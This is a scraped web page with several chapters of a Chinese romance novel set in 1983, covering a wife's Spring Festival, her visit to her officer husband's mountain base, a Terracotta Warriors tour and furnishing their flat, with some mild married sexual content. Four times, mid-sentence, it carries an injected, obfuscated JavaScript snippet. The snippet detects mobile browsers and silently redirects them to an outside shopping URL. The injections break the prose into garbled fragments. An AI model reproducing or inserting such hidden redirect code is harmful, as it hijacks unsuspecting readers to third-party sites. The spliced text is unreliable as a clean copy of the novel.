没错,这就是后来延续了三十多年、每逢除夕必有的“春晚”。它成为华国人欢度春节的一个重要形式,成为了老百姓每年除夕夜的视听盛宴,更成了华人的年夜饭。 虽然几十年后“春晚”总是被人们吐槽,吐槽舞美大红大绿色彩过于浓郁,吐槽小品相声已经逗不乐人只会说“吃饺砸”,吐槽演员唱歌歌手演小品每个都不务正业…… 可是“春晚”依旧是华国人除夕夜不可缺失的一部分,似乎没有“春晚”,就不叫过年。 八三年的春节和往年一样,祝军长要下连队走基层去慰问,祝镕刚到新单位才半年请不到探亲假,容院长倒是在京城,但是今年担任了附属医学院的行政工作,有些医学生春节留校了,她要去探望,所以也不在家。 不过,这一年倒也不是符伊年一个人过年。春节前两天,容院长亲自给柳贺燕和柳旻父子打电话,邀请他们到家里来过春节,符伊年又亲自到酒店去邀请,一方面是“人多热闹”,另外一方面,人就在京城,又是亲戚,不邀请就很不近人情了。 柳贺燕和柳旻考虑了一番,同意了,他们的想法和符伊年差不多,既然在京城,大家又都是亲戚,尤其四合院本来就是符伊年的财产,和祝家没有关系,他们父子去过年,很名正言顺。 除夕当天,符伊年早早起床洗漱整理,先去小祠堂上香。自从将那座神祖楼和锡五供带回来后,符伊年考虑了一段时间后,将三进院正房的后罩房重新布置了一番,改成了一间祠堂,将神祖楼、符志宏和唐致清的牌位、锡五供按顺序安置在长条桌案上。 以后符伊年大概很少有机会回安县,也无法经常回去扫墓,这里改成祠堂后,逢年过节她就来上一柱香、磕一个头,聊表心意。 从祠堂出来后,符伊年才去开了大门,大门两侧已经贴了红彤彤的对联,是祝军长亲自写的,“改革开放吹新风,创新发展铸辉煌”,横批是“大展宏图”,十分的应时应景。 大门楼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643881|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挂了两个大红灯笼,现在是白天光线足效果不好,等到晚上的时候把开关打开,灯泡亮起,红红的灯笼下面红红的大门,红红的大门边贴着红红的对联,会把路都照得红红的,非常喜庆红火。 院子里各个房门也都贴了对联,窗户上还贴了窗花,正房的屋檐下还挂了拳头大小灯笼形状的彩灯,也是预备晚上打开后增添几分意趣的。 午饭时容院长还在家,陪着陪着符伊年和姑婆一起吃了午饭,饭后很快就出门了。 姑婆看着她出门上车身影,叹一口气,“都忙,都忙啊。” 符伊年正握着一根鸡腿在啃,闻言眨眨眼,这场景、这话语,有点熟悉呢,后面是不是应该还有一句“忙点好啊”。 符伊年想了想,放下已经没什么肉的鸡腿骨头,擦擦手拉着姑婆重新坐下,“姑婆,咱们晚上要准备几个菜啊?妈妈晚上肯定还要回来的嘛,我想着,八个菜够不够啊?” “八个菜哪里够,”姑婆想都没想直接摇头,“这是你进门第一个春节,你表舅和表哥还要来,最少要十二个菜才行。” 说着,姑婆给她介绍十二个菜都有些什么:鸡鸭肉、鱼虾蟹、炸活干果、火锅蔬菜,最后竟然列出了十四个。 “太多了吧,”符伊年瞠目,“减掉两个好了。” 姑婆果断拒绝,“不行,只有加的没有减的,不吉利,何况那么多人呢,你表舅不是还有保镖?” 符伊年挠挠下巴,她不清楚柳家的习惯,也不知道保镖是不是同大家一起吃,不过既然姑婆说减菜不吉利,那就再加两个好了。 这个时候京城的市场上已经有了大棚蔬菜,所以食材不愁,更何况符伊年早就采购了不少。 晚饭前,柳家父子来过年了,他们没有带很多随行人员,就一个司机和两个保镖,从后备箱里提出一大堆的年货:进口烟酒、海鲜干货、新鲜水果,甚至还有几本国外的军事和医学杂志,说是之前祝军长和容院长请他们帮忙捎带的。 符伊年囧了一下。 容院长是春晚开始前回来的,当时符伊年他们正在包饺子,姑婆一共准备了四种馅料的:羊肉大葱馅、白菜猪肉馅、猪肉酸菜馅和三鲜馅的。 每一样馅料的饺子都多包了不少,放到院子里冻上,到时候想吃就吃,非常方便。 北方隆冬的室外,就是一座天然冰箱,饺子、豆腐、冰棍,想冻什么就冻什么。 而且,多包出来的饺子,其实有一部分是要带去给祝镕的。符伊年答应他了嘛,春节去探亲,总不能空手去。 虽然过年部队也会吃饺子,可能也是肉馅的,但是哪里会有家里的饺子馅用料足滋味好,更何况馅料种类还多。 除此之外,符伊年还决定把柳表舅带来的军事杂志带去给祝镕,反正祝军长没那么快回家,给祝镕看看也无妨嘛。 一九八三年农历正月初一,在家家团圆的日子,符伊年乘上火车,去西安和祝镕团聚去了。 120. 探亲 第一二零章 符伊年直到进了军营才明白为什么祝镕别的什么都没要求她带,只要求多带些饺子来了。 他们现在所在的部队,据说是为了应对新的国际关系而新组建的,一切都是从零开始,甚至连营房都是部队进驻前不久才建完的,有的房间还散发着油漆味。 而且,部队说是在西安,其实是在离西安很远的山沟沟里,坐车都坐好久的。 出发之前,祝镕打电话告诉符伊年,说他要春节值班,不能去不能亲自到火车站接她,“不过到时候还有其他的军嫂一起过来,部队在火车站有专车接,去接站的是参谋长,你跟着车一起来军营就好。” 符伊年自然只能答应下来。 清晨从京城坐火车出发,中午的时候到达西南,又等了等其他的军嫂,等人齐了才开车。 这一趟一共有五个军嫂,除了符伊年,其他四个军嫂要么是带着孩子来的,要么是怀着孕来的,而且每个人都提了至少三个行李。 上车的时候她们看到了符伊年的双肩包和拉杆行李箱,都觉得十分方便,双肩包可以解放双手,拉杆行李箱拖着走就行,方便又轻快。 “妹子,你这包和箱子,多少钱呐?”问话的军嫂大概三十多岁,姓韩,带着一对龙凤胎,穿着打扮看起来也挺时髦,据她自己说,她在老家开了个早点铺子,赚了些小钱。 符伊年据实以告,“双肩包不贵,十几块钱的有几十块钱的也有,拉杆行李箱是我家亲戚从……港城捎回来的,这个有点贵,一百多了。” 其实这只拉杆行李箱是柳旻帮她从国外带回来的,而且还不是后世的那种万向轮,但是国内仍然还没有售卖,至少京城还没有,但是又不好提有海外亲戚,只能谎称“港城亲戚”了。 韩军嫂听了,咂咂舌,“还行,买两个书包背着给孩子上学也挺好。” 符伊年立刻点头,“是啊,单肩包容易把肩膀压成高低肩的。” 这话立刻得到其他军嫂的赞同,尤其另外两个带着大孩子的军嫂,都说早就发现孩子肩膀一边高一边低,竟然从来没有想过是书包的问题,都说回去要去买双肩包给孩子背着。 于是话匣子就此拉开,大家有了话题可谈,彼此自我介绍了一番,五个军嫂里符伊年年纪最小,然后就是那个怀孕的军嫂,剩下三个都是结婚十年以上的。 不过,几位军嫂的爱人里头,祝镕的职位不算最低,他是一团团长,韩军嫂的爱人是二团团长,另外两位年长的嫂子的爱人一位是师参谋长,一位是副师长,只有怀孕军嫂的爱人是营长。 大家互相认识了,也有了话题聊,气氛就不再尴尬、生疏,而最开始开口那位韩军嫂却很少再说话,多数时候在照顾自己的一对龙凤胎。 符伊年跟着聊了一会儿天,打了个呵欠闭上眼睛开始假寐,竟然真的慢慢睡着了。 一觉醒来,符伊年发现天已经黑了,低头看了看手表,已经是晚上七点半了。车窗外夜幕沉沉,符伊年脑门贴着车玻璃往外看,只看得见一重一重的山和密密的树林,树枝被萧萧北风吹动着剧烈摇动。 再转头看看其他几位军嫂和小朋友们,也都昏昏欲睡,身子随着车子晃动而摇摆。 符伊年起身走到车前轻声询问司机师傅,“同志,还有多久到啊?” 司机眼睛一直盯着前路,“快了,半个多小时吧。” 符伊年丝毫不觉得惊讶,她们中午一点钟不到从火车站出发,已经走了六个多小时,相对来说半小时还真的算“快”呢。 走回后面的车厢,符伊年将几位还昏睡着的军嫂叫醒,“嫂子们,醒醒,还有半个小时就到了,清醒一下,别一会儿下了车吹风受凉。” 大人还好,抵抗力强一些,但是这些军嫂可都是带着孩子来的,尤其其中还有个孕妇,符伊年作为唯一一个没有负累的,当然要多承担着些。 几位军嫂被符伊年喊醒,又各自把自己的孩子叫醒,喝水的喝水,穿衣服的穿衣服,等全都清醒了,车子也驶入了军营大门。 车子在家属楼前停下,大家鱼贯下车,车外面已经有几个人在等着了,符伊年看到参谋长和副师长的孩子喊着“爸爸”分别向两个中年军官跑去,另外两个军人也朝韩军嫂和怀孕军嫂走去。 只剩了她一个人站在原地。 符伊年倒没觉得有什么,来之前祝镕说了嘛,他今天要值班,所以也没有失落或者失望的情绪,等到司机帮忙把行李箱拿下来,她整理下背包就打算提着行李上楼。 “嫂子!”这时,一个年轻士兵走了过来,对她敬了一个军礼,“是符伊年嫂子吗?我是祝镕祝团长的警卫员小王,团长在值班,不能亲自过来接您,派我过来接您。” 也是这个时候,一旁和家人亲热的参谋长和副师长也走了过来,他们先同符伊年握手,然后自我介绍,参谋长姓李,副师长也姓王,两人分别对符伊年表示了欢迎,然后再对祝镕没能亲自来接表示歉意,“一团政委还没到位,小祝一人身兼二职,工作繁忙,怠慢了家属,还希望家属见谅啊。” 对于副师长和参谋长的客气,符伊年是很意外的,但是此时不是深究“理解的,军人嘛,上交国家了就不由自己了,两位领导放心,家属不仅理解,也十分支持。” 以后小规模小范围的冲突摩擦虽然还有,但是国际社会的主流是和平与发展,尤其像祝镕这样的高级军官,轻易不会再上前线了,符伊年真的放心的很,所以这话她也就没有心理负担地说了出来。 寒暄过后,众人互相告别,各自回家,符伊年也由警卫员小王引导着,去了祝镕的宿舍。 小王帮符伊年把行李提到家门口,钥匙交给她后就离开了,符伊年道了谢并从双肩包里拿出两盒糕点送给他,“没带什么贵重物品,这个是京市特产,你拿回去尝一尝。” 小王很是惊喜,推辞不过后接下来,开心的走了。 祝镕住在家属院一号楼的四层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659192|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一套八十多平的两居室,符伊年用钥匙开了门进屋,屋子并没有清冷之感,而且因为集中供暖,不用在屋里烧炉子,所以屋子不仅温暖而且整洁干净。 很干净,什么都没有的那种干净——整个房子八十几平,两个卧室一个客厅,只有最基本的家具:一张床、一个高低柜和一套桌椅,其他什么都没有,连张沙发都没有,更别说家用电器了。 符伊年站在主卧门口瞠目结舌,过了好一会儿才找回了思维,这都是过得什么日子啊? 后来符伊年才知道,祝镕来到这里半年,因为政委还没到位,他基本上身兼二职,忙得很,大部分时间都是住在办公室的套间里,这房子半年了也没住上超过十回,原本只有床的,那高低柜和桌椅还是因为符伊年要来才添置的。 警卫员小王说了,祝镕要值班一晚上,所以符伊年没打算等祝镕回来,她将行李整理了一下,衣服该挂起来的挂起来,带来的烟酒糖果糕点之类的年货放到桌子下面的柜子里。 还有最重要的冻饺子,饺子冻的很结实,都是皮薄馅大的元宝饺,姑婆用一只装面粉的布袋子,装了两百个,幸好这时候的火车还没有空调,不然好几个小时的路程,这些饺子早就化掉了。 符伊年在窗口看了看,这里自然没有化工厂家属院的那种室外吊篮,她在房子里找了找,发现厨房虽然没有米面粮油,但是好歹有碗筷,于是就拿了支筷子,将绑着布袋的绳子的另外一头系在筷子中间,布袋放在外面窗台上,筷子挂在屋子里,如此,绳子既不妨碍关窗,饺子也能冻住。 收拾完一切,符伊年就去洗漱然后上床睡觉了,甚至没有反锁房门——这里可是军营,全国最安全的地方了。 祝镕事第二天清早回来的,回到时符伊年还在睡着,整个人睡成了一个“大”字型,可见她安全感十足。 祝镕在床前站着看了一会儿,然后才轻手轻脚地去卫生间洗漱,然后才带着一身水汽上了床。 虽然祝镕的动作已经尽可能的轻,但还是将符伊年惊动了,她猛然一睁眼,刚好看到躺下后的祝镕的脸,“你怎么回来了?” 祝镕愣了一下,然后意识到她应该是睡糊涂了,还以为自己在京城四合院呢,怕她走了困,祝镕没有详细解释,只是“嗯”了一声,抬手将人往自己怀里搂了一下,拍拍后背,“好了,接着睡吧。” 符伊年嘟哝了一句什么,很快重新睡去。 符伊年再次醒来时天光已经大亮,一睁眼就是祝镕结实的胸膛,她眨眨眼,思绪逐渐回笼,总算记起来自己在哪里。 也不知道祝镕是什么时候回来的,睡了有多久。她扭头看了眼窗户,窗帘不算遮光,能看出外面已经天光大亮。北方冬天天亮的晚,这种亮度起码应该是早上八点钟了。 “不睡了吗?”身后突然传来祝镕的声音,符伊年立即回头,刚好与祝镕对视。 祝镕:“不睡的话,我们来做点别的?” 符伊年:…… 121. 传承 第一二一章 符伊年在祝镕这里其实没能待很久,只有一周的时间。 这个时候还没有春节七天假的说法,通常是只有三天休息日,就是除夕、初一、初二三天。而符伊年之所以能够待这么久,是因为她是军嫂,单位照顾,每年可以有半个月的探亲假。 不过这半个月的探亲假符伊年没打算一次性全都用了,所以这一次只请了初四到初七这四天,加上初八周日,一共七天。 而相比之下,其他军嫂待得时间就久了不少,因为他们有的是自己做生意,比如韩军嫂,时间比较自由,有的是教师,比如参谋长爱人,现在还在暑假呢。 好在京城离西安也算近,如果时间凑巧完全可以买晚上那趟车的卧铺票睡过来,而且听祝镕说,以后会在军营和火车站之间开通固定时间的班车,那样的话就方便多了。 符伊年在军营这七天过得还挺充实的。祝镕按例也是三天假期,初一值班了,初二初三有两天假期,都陪着符伊年了。 初二那天俩人在家消磨了一整天,上半天是在床上消磨的。后来符伊年数了一下,一上午用了四枚套子,毕竟大半年不见了,两人都十分想念对方,各种意义上的想念,也都十分激动。 直到符伊年喊饿,推着祝镕的胸口,抗议道:“不行了,来不了了,饿死了,我要吃东西!” 祝镕伸手揉了一把她的小腹,还真是扁扁的,“那你等一会儿,我去给你煮面。”边说边起身,内裤也没穿,直接套上条外裤,就要奔厨房去。 “我不要吃面条,我要吃饺子。” 祝镕提裤子的动作顿住,“食堂中午不一定有饺子,晚上好不好,晚上我提前跟食堂说。” 符伊年正趴在床上休息,脸埋进了枕头里,听闻此言将脸从枕头里抬起来,很是疑惑,“去食堂干嘛,家里不是有吗?” 听到这话,疑惑的人变成了祝镕,“家里?有饺子?你昨天包的?” 符伊年这才反应过来,祝镕还不知道她带了饺子过来,遂抬手指指窗子,“客厅。” 祝镕立即会意,到客厅的窗口一看,外面窗台好大一只面粉口袋。祝镕对这种面粉口袋很熟悉,姑婆最爱用这种袋子装冻饺子了。 祝镕转身去厨房找了个盆出来,倒了一盆的冻饺子出来,然后将布袋子的口袋系好,重新挂到室外去冷冻,然后回到厨房煮饺子。 幸亏祝镕知道符伊年要来提前请炊事班的帮忙买了一罐天然气罐和一只配套用的燃气灶,可以随时在厨房开火,烧水、煮面、煮饺子都很方便。 下午就还是赖在床上,又没有电视,也没有收音机,除了睡觉也没别的事能做了,不过这回的“睡觉”就是单纯地盖着被子睡觉,没有任何其他涵义了。 第二天正月初三,祝镕找出符伊年带来的烟酒等年货,分配了一下,带着她去给师长和、副师长、政委等人拜年,还分了些糖果糕点给同僚和下属们,就算新年礼物了。 至于为什么都初三了才到各家来拜年和走动,大家心里都门儿清——祝家窗帘关了一整天,谁还能不知道是怎么回事啊。 不过也并不会有人说什么,最多打趣的笑笑。人家才成婚一年,又分别大半年,多亲热亲热怎么了,大家都是过来人,都能理解。 因此符伊年大半天走下来,听到的都是客气话,心头还是比较舒畅的。 初四开始正式上班,不过,祝镕这些有家属到来的军官们,破例被多放了一天假,公事由同僚或者下属承担,让他们多一天时间陪一陪家属。 也是因此,符伊年和初三的晚上就和二团团长的爱人——韩嫂子约好了,第二天一起去看兵马俑。两人其实也约了其他的军嫂,不过其他人都不去,要么有别的事,要么就是去过了,也有人留得久,打算天气暖和暖和再去。 祝镕部队所在的地方,其实和兵马俑距离不远,直线距离也就四五十公里。但是,这只是直线距离,其实两处分属不同的行政县,而且中间还隔着两个山头呢。 俗话说:望山跑死马。直线距离是挺近,可是开车下山全是盘山道,下了山再开车过去,最少也要两三个小时了。 不过嘛,来都来了,而且也不能再在家里闷一天吧,虽然路上时间久一些,但是自己开车就还是挺方便的。 初四一大早,祝镕开了一辆车带着符伊年,二团团长开了一辆车带着爱人和龙凤胎,驶出军营下山去了。 不过,不知道是车速快还是路况好,路上花费的时间要比符伊年预计的少很多,八点钟出门,不到十点就到了。 其实,始皇帝陵和兵马俑博物馆并不是同一处,始皇帝陵在刚建国的时候就已经在第一批全国重点文物保护单位的名录上了。 但是当时人们只知道这座两千多年的陵墓。 直到十年前,1974年3月,一位农民在打井时发现了几座真人陶俑,经过省考古队勘探和试掘,兵马俑才重见了天日。 同年,考古工作者开始对始皇陵东侧的兵马俑坑进行发掘工作,第一次大发掘就发掘出了八千多个兵马俑。这个俑坑后来被称为“一号俑坑”。 两年之后,在一号俑坑左右两侧各钻探发掘了两个不同的俑坑,称为“二号坑”和“三号坑”。以后说不定还会有四号、五号…… 兵马俑坑的发现和发掘成果实在太令人震撼,全球的考古学家、历史学家都对此惊叹不已,将它称为“世界第八大奇迹”、“二十世纪考古史上的伟大发现之一”。 后来,国家就决定在秦兵马俑坑遗址上建立博物馆。七九年的时候秦始皇兵马俑博物馆建成,当年国庆节对外开放,对外开放的参观点只有一号、二号两个坑,再就是铜车马陈列厅和其他的展览厅。 而且这个时候的始皇帝兵马俑博物馆,因为资金、观念等原因,还没有修建的像后世那样,园区宏大、环境幽美、设施齐全。 进到一号坑,符伊年一下子就被壮观的场景震撼住了。一道道夯实的土墙和一列列站立在坑中的“俑”士,组成了一支严整有序、无懈可击的部队,部队里的士兵们披坚执锐,军容严整,气势雄伟,势不可挡。 不知道是因为今天是工作日,还是因为仍在春节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666415|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,博物馆除了符伊年他们,就只有工作人员的身影了。 祝镕提议找个导游,“他们相对专业一些,数据也是准确的,总比我们一知半解、懵懵懂懂的好。” 这个提议得到了大家的赞同,祝镕就打算出去问工作人员有没有导游上班,这时一个有点上了年纪的老人从门外走进来,听了祝镕他们的提议后,冲工作人员摆了摆手。 “我带他们进去吧。” 工作人员立刻给他们介绍,“这是我们主持发掘的黄教授,没有人比他更了解兵马俑了。” 符伊年等人立即肃然起敬,这是大佬啊。 黄教授先是打量了一番几个人,然后问到:“第一眼看到,有什么感觉啊?” “壮观!”二团长家的两个孩子抢先答道,“雄伟!” 几个成年人也点头,他们也是差不多的感受,太壮观太宏大,被称为“奇迹”一点都不夸张,可以说是十分贴切。 “就,还挺自豪的吧,”符伊年想了想,说到,“我们国家几千年前的历史被见证、被记录、被传承。” 黄教授看了一眼符伊年,微微颔首,领着他们往里走。 黄教授不愧是主持发掘的教授,对整个秦始皇陵和兵马俑坑可以说是了如指掌、如数家珍。 教授带着众人走进博物馆,一边走一边介绍,从始皇帝统一六国开始讲起,讲到了他书同文、车同轨,讲到了他修水利、筑长城,当然也说到他赋税过重、刑罚严峻、施行暴政、劳民伤财…… “每个皇帝一生都是有功有过,我们后人不便评说,”黄教授推了推眼镜,“只从历史价值、文化价值来看,秦虽二世十五年,但值得研究一百年。” 因为有黄教授的带领,符伊年他们有幸跟随他进入了一号坑,近距离地观看了兵马俑。俑坑中最多的是武士俑,平均身高1.80米左右,最高的1.90米以上,格格气宇轩昂。 祝镕身高1.88米,和这些武士俑差不多高,可以不用抬头就能看到俑士的表情,甚至可以和他们的眼睛对视。 符伊年跟他说话的时候,祝镕刚好与一尊牵着马的俑士对视,他一下子就愣住了。 一眼千年。 那一刻,祝镕觉得面前的不是什么兵马俑,那是千年前的先人、前辈、老兵,是血脉的传承、是责任的延续。 恰好此时,一道阳光从展馆上方的天窗射进来,照在面前这尊陶俑的脸上。祝镕清醒地知道自己出现了错觉,不然为什么这尊千年前制作的兵马俑,他眨眼了呢? 他,他们,活了。 这支沉默的军队,他们在这里守护了两千年,在这一刻,他们复活了,他们正无声的传递着一种无法言说的力量。历史的魅力,是我们根本无法阻挡的。 我和我的先祖,流着一样的血,站在同一片土地上,仰望同一片天空,肩负同一样的责任。 符伊年发觉祝镕已经站在那里很久没有动过了,他与面前的陶俑对视,似乎在交流又似乎只是观看、观赏。 符伊年走过去,握住祝镕的手,带着他继续向前走去。 122. 生活 第一二二章 从兵马俑博物馆回到军营,第二天祝镕就正常地工作了。 不过,不知道是不是符伊年的错觉,她总觉着祝镕和之前不太一样了,整个人像是被注入了什么活力因子,工作特别积极,态度特别端正。 符伊年有自知之明,她可不觉得祝镕突然的“焕发”是因为她的到来,不过她观察了一天,发觉其他方面他并没什么变化,依然爱对自己管天管地,便不再操心这个。 祝镕要去工作,符伊年待在家里也挺没意思的,又没有电视也没有收音机,书倒是有几本,不过都是祝镕的军事书籍,就连杂志都是她给他带来的国外军事杂志。 祝镕之前同她介绍军营的时候给她指点过方位,告诉她营部在哪儿,家属区在哪,军医院在哪儿,甚至连已经建好预备下半年投入使用的子弟小学在哪儿都告诉了她。 符伊年知道祝镕的想法。他今年三十岁了,两人虽然领证时间不久,但是真正在一起也有四五年了,说不定什么时候就有了孩子了。 不过,想到前一晚祝镕又用了三个“子孙嗝屁袋”,这孩子的来路还遥遥无期呢。 符伊年一边整理房间,一边胡思乱想着。其实,这房间空荡荡的,没什么好整理的。连样正经的家具都没有,地面也是简单的水泥地面,连地砖都没有。符伊年只需要扫扫地面的灰尘,擦擦床头和桌椅就行了。 符伊年站在客厅中央,空荡荡的,实在不像一个家。 昨晚符伊年同祝镕商量,是不是要去山下的县城买一套家具来,起码要买个沙发茶几吧,不然来个客人坐哪儿?总不好站着说话吧?还有暖水瓶茶壶茶杯,来人了总要喝口水吧。 “我这几天喝水都是自带的保温杯呢。”符伊年略带抱怨道,“幸亏是保温杯。” 祝镕理亏,他的确是太忙了。而且,部队新迁来,物资紧张,有些家具摆设不足,祝镕谦让给了那些有家属随军的军人,即便对方职级比自己低。毕竟他一个人生活,好将就,而且他可以住办公室嘛。 听了祝镕的辩解,符伊年无语了一会儿,“那现在东西都有吧?没有的话我下山去县城买。” “有的有的,不用买,”祝镕给她指点,“家属院东北角的那个仓库,有不少物资,你先过去领,签我名字就好了,你把小件领回来,大件他们会送来的。” 所以这个时候的符伊年站在客厅里,就是在打量着思索着选什么样的家具、怎么摆布怎样设计的问题。 其实留给符伊年的,只有具体摆布的空间,因为部队里的家具,基本都是一样的。 符伊年在仓库里挑了一张单人床、一张三人沙发和一张茶几,两组柜子和一张电视柜,一张餐桌和四把椅子,其他的热水壶、茶壶茶杯也领了一套,除了透明玻璃杯,所有的家具、物件都是军绿色的,十分的统一。 符伊年也顾不得好看不好看了,大不了以后再买些别的装饰或者盖布,先把生活上能用到的给置办齐全。 符伊年是上午去挑选的,东西是中午前就送来的,几个小战士不仅把东西抬上了搂,还帮忙打扫了卫生,符伊年十分感激,因为他们不肯坐下来喝茶吃点心,就只好塞了两盒点心还有一盒烟送给他们。 “是京城的特产,东西不多,你们分着尝尝。”符伊年见他们要拒绝,立刻补充,“千万别嫌少。” 领队的是一个比祝镕年纪还大的老大哥,见符伊年给的真诚,便收了下来,“多谢符同志了。” 到晚上祝镕回家的时候,一切都已经安排完毕了,沙发在客厅靠墙摆放,前面是一张茶几,茶几上一个茶盘里放着暖壶、茶壶和水杯,单人床和一组柜子放在次卧,餐桌餐椅放到餐厅,其他的柜子和桌椅也分别摆放在了不同的位置,就连窗台上都摆放了几盆盆花。 而最令祝镕惊奇的是,沙发两侧的扶手上、茶几上、还有对面墙边的电视柜上,竟然都盖了花色不同的布艺装饰。 “这……”祝镕指着沙发,惊讶低问她,“你从哪儿买的啊?” 粉底蓝花和米黄蕾丝流苏,这明显不是部队的风格啊。 “好看吧?”符伊年正在吃饭,是祝镕从食堂打回来的,他现在是团长,有中灶能吃了,因此口味还挺不错的。 祝镕一言难尽,太小女孩的风格了,和他这个硬汉气质不符啊,可是老婆正盯着呢,他难道能说不好看? “好看,很好看,很有家的感觉。”祝镕紧急想到这么个形容词。 符伊年一下子眼睛就亮了起来,“真的呀,我就是这么想的,我挑了一下午呢,才从一堆大红大绿大紫大花里头选出这么两块。” 听到这里,祝镕就有了猜测,“你下午出军营下山了?”不然从哪里买的这个。 “没有,”符伊年重新端起碗扒了口饭,快速咀嚼了两下吞下去,“隔壁县一个镇今天有大集,三团的嫂子带我们抄近路翻山过去的。” “翻,翻山?”祝镕大吃一惊,“从哪儿翻的?军营能直接翻山去外头?”不应该啊,四种不都是警戒?还有相控雷达,要是能有通向外面的路,早就被发现了才对。 符伊年放下吃完的饭菜,掏出手绢擦擦嘴,摆手,“不在营部里,是我没说清楚。” 原来,后勤仓库那里把家具送来的时候,动静有点大,家属楼里不少人都知道了,有些人还来凑热闹看看,符伊年都用茶水糖果招待了。 等大家看完热闹散去,落在最后的一个嫂子拉住符伊年,跟她介绍说她爱人是三团团长,她和二团的韩军嫂约好了下午出去采购,问符伊年去不去。 符伊年一开始没想到是徒步翻山,还以为有车呢,当下就答应下来了。 “结果车是有,三团嫂子自己的三轮车,骑着车到了半山腰,把车停到一处山沟里,然后我们就开始翻山了,走了快一个小时呢才到山顶。”符伊年眼睛随着洗碗的祝镕移动,“哎祝镕,你知道吗,下山比上山难,我以前一直以为上山才最难呢。” 祝镕作为十多年的老兵,还上过战场,当然知道相比上山,下山才是最难的。不过当前他没有多说什么,只是“嗯”了一声,“然后呢?”示意符伊年继续往下讲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678104|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “然后我们走到山下,还要过一条河套,又走了二十分钟才到达集市的。”符伊年眼睛亮亮的,“好东西不少呢,我只带了一个手提袋,买不了太多,除了这几块布,就买了一盒茶叶。” 祝镕洗完碗沥干水放进橱柜,又用烧水壶接了一壶水开了炉灶烧起来,听到符伊年这样说,点点头表示赞同,“挺好,其他也没什么缺的。” 符伊年继续说:“我觉得你们食堂中灶还挺好吃的,你就在那吃吧,别回家自己搞了,太麻烦了。”油盐酱醋也是有使用期限的,开了封太久不用就坏掉了。 祝镕当然不会反对,就算符伊年不说,他大概也会这样做。 灶上的水壶很快就冒了白气,祝镕一边关掉燃气罐一边抬下巴示意符伊年,“去沙发上坐。” 符伊年以为他灌了开水也要回客厅了,很顺从地起了身去客厅,只是才在沙发上坐下,就忍不住想要“葛优瘫”——下午翻山越岭又赶集,实在累得慌。 这一瘫,疲倦就席卷而来,眼皮不由自主地开始往下耷拉,脑筋也停止转动。 祝镕端着水盆走过来,就看到符伊年歪在沙发上打盹,无声地叹口气,将水盆放在她脚边,蹲下身把她的脚抬起来给她脱鞋脱袜子。 符伊年其实并没有睡着,祝镕一动她就醒了,睁眼一看,吓得她立刻坐直了身子,“你干嘛?” 祝镕攥住符伊年的脚腕不让她乱动,手下动作不再轻柔,麻利地给她把鞋子和袜子都脱掉,两只脚按到水盆里。 “走了一下午,还爬了山,脚不累啊。”祝镕一边给她洗脚一边按摩,“泡一泡按一按舒服点,一会儿直接睡觉了。” 符伊年两生两世,自从可以生活自理,就没有被人给洗脚过了。当然,情事之后的清洁不算。因此她发觉祝镕要给她洗脚的时候,几乎是立即就要抽出来,“我自己洗。” 结果才动了了一下就被祝镕控制住,“别动,你自己不方便。” “有什么不方便的,”符伊年见他坚持只好妥协,嘴里嘀咕道,“又不是大了肚子。” 祝镕听到这话微微一笑,“是啊,所以我现在练习一下嘛。” 符伊年有点无语。 不过,说到怀孕要孩子,符伊年还真是有话想同祝镕说。 “嗯,你说。”祝镕把洗脚水泼掉,将人公主抱回床上,还要亲自动手给她换衣服,被符伊年拦下了下来。 符伊年:“人家要和你说正经事呢。” “说呗,”祝镕动作不停,“我解我的,你说你的,不妨碍。” 符伊年心猿意马,但嘴上还是说着正经事,“就是,我打听过了,我们在部委的,工作到一定年限就可以下基层,你也知道,下了基层很忙的,到时候恐怕没时间怀孕生孩子。” “所以?”祝镕手下动作不停。 “所以,最好,早点生完,”符伊年喘得厉害,说得断断续续,“早利索。” 听起来有点像“早死早超生”。 祝镕:“好,那我们来做点生孩子必须要做的事吧。” 123. 回家 第一二三章 符伊年是初八离开的。 